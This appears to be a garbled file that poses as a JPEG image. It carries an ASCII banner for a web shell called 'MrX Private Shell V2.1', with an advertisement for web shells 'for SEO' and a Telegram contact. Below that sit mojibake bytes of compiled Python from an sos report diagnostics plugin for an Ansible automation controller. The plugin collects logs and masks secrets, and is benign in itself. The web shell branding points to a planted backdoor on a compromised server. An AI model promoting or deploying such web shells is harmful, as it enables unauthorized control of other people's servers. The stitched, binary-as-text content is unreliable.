����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
a
��i � @ s2 d dl mZmZ d dlmZ G dd� dee�ZdS )� )�Plugin�RedHatPlugin)�sos_parse_versionc @ s0 e Zd ZdZdZdZdZdZdd� Zdd � Z d
S )�AAPControllerPluginz AAP Automation Controller pluginZaap_controller)ZsysmgmtZansible)z automation-controller-venv-towerzautomation-controller-serverzautomation-controller-uizautomation-controller)z
awx-managec C s� | � g d�� | �g d�� | �g d�� | �d�}|d dkrnt|d �� �td�krd| �d � n
| �d
� | �g d�� | jdd
d� d S )N)z/etc/tower/z/etc/supervisord.confz/etc/supervisord.d/*z/var/log/towerz//var/log/nginx/automationcontroller.access.log*z./var/log/nginx/automationcontroller.error.log*z/var/log/supervisorz/var/log/unattended-upgrades)z/etc/tower/SECRET_KEYz/etc/tower/*.keyz/etc/tower/*.certz/var/log/tower/profile)z$automation-controller-service statuszawx-manage showmigrationszawx-manage list_instancesz"awx-manage run_dispatcher --statusz)awx-manage run_callback_receiver --statuszawx-manage check_license --datazsupervisorctl statusz$/var/lib/awx/venv/awx/bin/pip freezez'/var/lib/awx/venv/awx/bin/pip freeze -lz(/var/lib/awx/venv/ansible/bin/pip freezez+/var/lib/awx/venv/ansible/bin/pip freeze -lzumask -pzawx-manage --version�statusr �outputz4.4.99zawx-manage run_wsrelay --statusz#awx-manage run_wsbroadcast --status)�/var/lib/awxz/var/lib/awx/venvz
/etc/towerr T)Ztree)Z
add_copy_specZadd_forbidden_pathZadd_cmd_outputZcollect_cmd_outputr �stripZadd_dir_listing)�selfZawx_version� r �E/usr/lib/python3.9/site-packages/sos/report/plugins/aap_controller.py�setup s
��
zAAPControllerPlugin.setupc C sr d}d}| � d||� d}d}| � d||� d}d}| � d||� d}d}| � d||� d }d}| � d
||� d S )Nz(\s*'PASSWORD'\s*:\s*)('.*')z
\1********z/etc/tower/conf.d/postgres.pyz$(EMAIL_HOST_PASSWORD\s*=\s*)\'(.+)\'z/etc/tower/settings.pyz/etc/tower/conf.d/custom.pyz+(BROADCAST_WEBSOCKET_SECRET\s*=\s*)\"(.+)\"z/etc/tower/conf.d/channels.pyz (\s*'SECRET_KEY'\s*:\s*)(\".*\")z/etc/tower/conf.d/gateway.py)Zdo_path_regex_sub)r
Zjreg�replr r r �postprocO s zAAPControllerPlugin.postprocN)
�__name__�
__module__�__qualname__Z
short_descZplugin_nameZprofilesZpackagesZcommandsr
r r r r r r s 4r N)Zsos.report.pluginsr r Z
sos.utilitiesr r r r r r �<module> s